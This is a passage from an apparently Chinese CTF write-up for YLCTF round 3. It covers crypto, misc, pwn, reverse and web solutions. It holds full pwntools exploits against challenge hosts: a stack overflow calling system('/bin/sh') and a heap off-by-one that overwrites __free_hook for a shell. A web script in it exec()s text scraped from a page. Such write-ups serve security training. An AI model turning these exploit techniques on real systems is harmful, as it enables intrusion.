inverse(a, N) % N return seed seed = lcg_seed(num1, num2, a, N) p.sendline(str (seed)) response = p.recvuntil("success!" .encode()) print (response.decode()) data = p.recvuntil("Challenge three,10 Round" .encode()).decode()if "Challenge three,10 Round" in data: print ("进入 Challenge three, 10 Round" ) for _ in range (10 ): data = p.recvuntil("seed =" .encode()).decode() N_match = re.search(r'N=(\d+)' , data) num1_match = re.search(r'num1=(\d+)' , data) num2_match = re.search(r'num2=(\d+)' , data) num3_match = re.search(r'num3=(\d+)' , data) if N_match and num1_match and num2_match and num3_match: N = int (N_match.group(1 )) num1 = int (num1_match.group(1 )) num2 = int (num2_match.group(1 )) num3 = int (num3_match.group(1 )) seed, a, b = find_seed(N, num1, num2, num3) if seed is not None : p.sendline(str (seed)) response = p.recvuntil("success!" .encode()) print (response.decode()) else : print ("无法找到种子" ) p.interactive()
[Round 3] QWQ 明显的颜文字,转一下再base解密即可
Misc [Round 3] Blackdoor 一个文件夹,用d盾扫一下发现危险文件,里面有MD5值,套一下得到flag
Pwn [Round 3] Secret 附件ida打开输入nc连接输入密文SuperSecretPassword
得到flag
[Round 3] ezstack3 先看mian和vuln,再观察system利用栈溢出漏洞首先发送填充数据以覆盖返回地址,然后接收 EBP 地址并计算其偏移。接着构造 payload,调用 system
函数执行 /bin/sh
,最终获得交互式 shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * p = remote('challenge.yuanloo.com' , 32407 ) context(os='linux' , arch='i386' , log_level='debug' ) p.recvuntil(b'Welcome to YLCTF stack3' ) p.send(b'a' * 0x30 ) p.recvuntil(b'a' * 0x30 ) ebp = u32(p.recv(4 )) - 16 p.recvuntil(b'pwn!' ) p.send( p32(0x080490C0 ) + p32(0 ) + p32(ebp - 36 ) + b'/bin/sh\x00' + b'a' * 28 + p32(ebp - 52 ) + p32(0x08049324 ) ) p.interactive()
[Round 3] null 利用了 off-by-one 漏洞,通过 edit
函数实现堆块重叠,进而修改前一个堆块的 fd
指针以覆盖 free_hook
。当再次释放该堆块时,程序会调用 free_hook
指向的地址,执行 system
函数,从而获取权限并启动一个 shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import * context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' def print_info (x ): print ('\x1b[01;38;5;214m' + x + '\x1b[0m' )def print_error (x ): print ('\x1b[01;38;5;1m' + x + '\x1b[0m' )class Exploit : def __init__ (self, is_remote=True ): self.elf = ELF('./pwn' ) self.libc = ELF('./libc-2.27.so' ) if is_remote: self.p = remote('challenge.yuanloo.com' , 39010 ) else : self.p = process('./pwn' ) self.libc_base = 0 self.malloc_hook = 0 self.free_hook = 0 self.system = 0 self.bin_sh = 0 def get_addr64 (self ): return u64(self.p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b'\x00' )) def get_libc_offsets (self ): self.malloc_hook = self.libc_base + self.libc.sym['__malloc_hook' ] self.free_hook = self.libc_base + self.libc.sym['__free_hook' ] self.system = self.libc_base + self.libc.sym['system' ] self.bin_sh = self.libc_base + next (self.libc.search(b"/bin/sh\x00" )) def add (self, index, size ): self.p.recvuntil(b':' ) self.p.sendline(str (1 )) self.p.recvuntil(b"Index: " ) self.p.sendline(str (index)) self.p.recvuntil(b"Size " ) self.p.sendline(str (size)) def free (self, index ): self.p.recvuntil(b':' ) self.p.sendline(str (4 )) self.p.recvuntil(b"Index: " ) self.p.sendline(str (index)) def show (self, index ): self.p.recvuntil(b':' ) self.p.sendline(str (3 )) self.p.recvuntil(b"Index: " ) self.p.sendline(str (index)) def edit (self, index, content ): self.p.recvuntil(b':' ) self.p.sendline(str (2 )) self.p.recvuntil(b"Index: " ) self.p.sendline(str (index)) self.p.recvuntil(b"Content: " ) self.p.sendline(content) def exploit (self ): for i in range (9 ): self.add(i, 0x90 ) for i in range (8 ): self.free(i) for i in range (7 ): self.add(i, 0x90 ) self.add(7 , 0x88 ) self.show(7 ) self.libc_base = self.get_addr64() - 4111664 print_info(f"Libc base: {hex (self.libc_base)} " ) self.get_libc_offsets() self.add(9 , 0x18 ) self.add(10 , 0x68 ) self.add(11 , 0x68 ) self.add(12 , 0x68 ) self.add(13 , 0x18 ) self.edit(9 , b'a' * 0x18 + p8(0xe1 )) self.free(10 ) self.add(10 , 0xd8 ) self.free(12 ) self.free(11 ) self.edit(10 , b'\x00' * 0x68 + p64(0x71 ) + p64(self.free_hook)) self.add(14 , 0x68 ) self.add(15 , 0x68 ) self.edit(15 , p64(self.system)) self.edit(9 , b'/bin/sh\x00' ) self.free(9 ) self.p.interactive()def main (): exp = Exploit(is_remote=True ) exp.exploit()if __name__ == "__main__" : main()
Re [Round 3] ezmaze(一血) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import hashlibfrom collections import dequedef visualize_maze (maze_str, width=10 ): """Visualize the maze in a grid format.""" return '\n' .join(maze_str[i:i + width] for i in range (0 , len (maze_str), width))def is_valid_move (maze, pos ): """Check if the current position is valid.""" return 0 <= pos < len (maze) and maze[pos] in ['+' , 'F' ]def solve_maze (): maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************" start_pos = 5 moves = {'w' : -10 , 's' : 10 , 'a' : -1 , 'd' : 1 } queue = deque([(start_pos, "" )]) visited = {start_pos} while queue: pos, path = queue.popleft() if maze[pos] == 'F' : return path for move_char, move_val in moves.items(): new_pos = pos while is_valid_move(maze, new_pos + move_val): new_pos += move_val if new_pos not in visited: visited.add(new_pos) queue.append((new_pos, path + move_char)) return None def verify_solution (solution ): maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************" pos = 5 move_map = {'w' : -10 , 's' : 10 , 'a' : -1 , 'd' : 1 } for action in solution: move = move_map[action] while is_valid_move(maze, pos + move): pos += move return maze[pos] == 'F' def main (): solution = solve_maze() print (f"Found solution path: {solution} " ) if verify_solution(solution): print ("Solution verified: Valid!" ) else : print ("Solution verification failed!" ) return flag = "YLCTF{" + hashlib.md5(solution.encode()).hexdigest() + "}" print ("\nMaze visualization (10x10 grid):" ) print (visualize_maze("*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************" )) print ("\nFinal flag:" , flag)if __name__ == "__main__" : main()
[Round 3] CASE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *import ctypesimport time libc = ctypes.CDLL("libc.so.6" ) p = remote("challenge.yuanloo.com" , 30037 ) enc = []for _ in range (43 ): response = p.recvuntil(b',' ) enc.append(response.strip().decode().rstrip(',' ))print ("Encrypted values:" , enc) enc_values = [int (x, 16 ) for x in enc] decrypted = [] seed = int (time.time()) libc.srand(seed)for i in range (len (enc_values)): v5 = libc.rand() original_char = (enc_values[i] ^ (v5 % 255 )) if 65 <= original_char <= 90 : decrypted_char = chr ((original_char + 52 - 65 ) % 26 + 65 ) elif 97 <= original_char <= 122 : decrypted_char = chr ((original_char + 84 - 97 ) % 26 + 97 ) else : decrypted_char = chr (original_char) decrypted.append(decrypted_char)print ("Decrypted value:" , '' .join(decrypted)) p.close()
不知道具体的原理,要得到flag的话外面需要rot13内部需要rot7才能得到正确的flag,不太明白re,里面是根据uuid的特性得到的
Web [Round 3] 404 /script.js
有提示,然后
解密,最后在网页写个py交互一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsfrom bs4 import BeautifulSoup session = requests.Session() url = 'http://challenge.yuanloo.com:33968/ca.php' response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser' ) pre_content = soup.find('pre' ).text.strip() pre_content = pre_content.replace('$temp1' , 'temp1' ).replace('$temp2' , 'temp2' ).replace('$temp3' , 'temp3' ).replace('$temp4' , 'temp4' ).replace('$answer' , 'answer' ) pre_content = pre_content.replace('log' , 'math.log' ).replace('sqrt' , 'math.sqrt' ).replace('pow' , 'math.pow' ).replace('sin' , 'math.sin' ).replace('cos' , 'math.cos' ).replace('tan' , 'math.tan' ).replace('exp' , 'math.exp' ).replace('abs' , 'abs' )exec (pre_content) final_answer = round (answer, 2 )print (f"答案: {final_answer:.2 f} " ) data = { 'user_answer' : final_answer } post_url = 'http://challenge.yuanloo.com:33968/ca.php' response = session.post(post_url, data=data)print (f"POST 请求的响应: {response.text} " )
[Round 3] PRead 目录穿越